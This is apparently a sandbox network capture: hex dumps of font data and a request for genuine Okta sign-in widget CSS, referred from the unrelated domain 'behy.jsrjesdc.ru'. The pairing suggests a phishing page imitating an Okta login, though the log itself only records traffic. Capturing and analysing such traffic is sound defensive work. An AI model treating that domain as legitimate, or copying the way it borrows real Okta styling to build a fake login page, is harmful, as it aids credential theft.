2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 c5 82 02 23 10 Data Ascii: glyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q#
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 7b 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b b1 c8 4d b6 60 Data Ascii: {AT`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRKM`
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: d1 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 ce 6a 61 fb 8f Data Ascii: Umg"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-ja
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: fc 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 b9 7a 5e 2a 5f Data Ascii: \|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y}_f3.mQcoAG_HY%#Tbc^];;e(3'z^_
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 65 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a 47 1f d1 67 54 Data Ascii: ecFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZGgT
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 83 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c Data Ascii: 4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d5m
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 29 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e Data Ascii: )j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+_KN
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 61 ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d c7 75 d0 24 2f Data Ascii: a$F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmmu$/
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 98 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa 0e 8e a9 ea 7d Data Ascii: c$b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo}

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	640	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:43 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Tue, 11 Mar 2025 10:14:43 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Wed, 11 Mar 2026 10:14:43 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 abf16b943a9b4039b87ccdb094d9303e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: uLpszYoMd6A7Ug4vvGI80qCkF9F0stDPBRnyQ6H5wruRlVq7wKi5zg== Age: 704100
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 32 32 70 78 20 30 20 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b Data Ascii: background:#f9f9f9}#okta-sign-in .dropdown.more-actions .option-selected{color:#333;float:none!important;overflow:hidden;padding:0 22px 0 8px!important;position:relative;white-space:nowrap}#okta-sign-in .page-links .dropdown.more-actions .option-selected{
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 6e 74 61 69 6e 65 72 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2d 6e 6f 73 65 61 72 63 68 2e 63 6c 6f 73 65 64 20 2e 63 68 7a 6e 2d 64 72 6f 70 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2e 63 6c 6f 73 65 64 20 2e 63 68 7a 6e 2d 64 72 6f 70 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 7b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2d 6e 6f 73 65 61 72 63 68 2e 63 6c 6f 73 65 64 20 2e 63 68 7a 6e 2d 64 72 6f Data Ascii: ntainer.chzn-container-single-nosearch.closed .chzn-drop .chzn-search,#okta-sign-in .chzn-container.chzn-container-single.closed .chzn-drop .chzn-search{left:0;position:relative}#okta-sign-in .chzn-container.chzn-container-single-nosearch.closed .chzn-dro
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 36 70 78 20 2d 32 31 33 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 20 6c 61 62 65 6c 2e 63 68 65 63 6b 65 64 2e 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 20 6c 61 62 65 6c 2e 63 68 65 63 6b 65 64 2e 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 36 70 78 20 2d 33 31 33 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 74 6f 70 20 2e 6f 2d 66 6f 72 6d 2d 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 74 6f 70 20 2e 6f 2d 66 6f 72 6d 2d Data Ascii: {background-position:-16px -213px}#okta-sign-in .custom-checkbox label.checked.focus,#okta-sign-in .custom-checkbox label.checked.hover{background-position:-16px -313px}#okta-sign-in .o-form-label-top .o-form-input,#okta-sign-in .o-form-label-top .o-form-
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 20 2e 74 65 78 74 61 72 65 61 2d 66 69 78 20 69 6e 70 75 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 34 31 34 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 37 33 36 70 78 29 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 33 29 7b 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 74 65 78 74 61 72 65 61 2d 66 69 78 20 69 6e 70 75 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 7d 40 6d 65 64 69 Data Ascii: .textarea-fix input{font-size:15px}}@media only screen and (min-device-width:414px) and (max-device-width:736px) and (-webkit-min-device-pixel-ratio:3){#okta-sign-in .o-form .input-fix input,#okta-sign-in .o-form .textarea-fix input{font-size:15px}}@medi
2025-03-19 13:49:43 UTC	13232	IN	Data Raw: 67 2f 69 63 6f 6e 73 2f 6c 6f 67 69 6e 2f 66 61 63 65 62 6f 6f 6b 5f 6c 6f 67 6f 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 31 32 70 78 2f 32 34 70 78 2c 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 39 30 64 65 67 2c 23 66 66 66 20 35 30 70 78 2c 23 66 66 66 20 30 29 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 66 61 63 65 62 6f 6f 6b 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 7b 63 6f 6c 6f 72 3a 23 31 64 31 64 32 31 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 67 6f 6f 67 6c 65 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 62 66 62 66 62 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 69 63 6f 6e 73 Data Ascii: g/icons/login/facebook_logo.png) no-repeat 12px/24px,linear-gradient(90deg,#fff 50px,#fff 0)}#okta-sign-in .social-auth-facebook-button.link-button{color:#1d1d21}#okta-sign-in .social-auth-google-button{background-color:#fbfbfb;background:url(../img/icons
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 6f 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 61 64 6d 69 6e 2d 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 6f 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 20 69 6e 70 75 74 7b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 35 30 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 77 69 64 74 68 3a 31 34 30 70 78 Data Ascii: nsent-required .o-form-button-bar{display:inline-flex;justify-content:space-between;padding-bottom:15px;width:100%}#okta-sign-in .admin-consent-required .o-form-button-bar input{height:auto;line-height:normal;min-height:50px;white-space:normal;width:140px
2025-03-19 13:49:43 UTC	16384	IN	Data Raw: 69 6e 20 2e 73 63 61 6e 2d 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 2e 71 72 63 6f 64 65 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 69 6e 64 69 63 61 74 6f 72 73 2f 73 63 61 6e 65 72 72 6f 72 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 63 61 6e 2d 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 2e 71 72 63 6f 64 65 2d 65 72 72 6f 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 63 61 6e 2d 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 2e 71 72 63 6f 64 65 2d 73 75 63 63 65 73 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 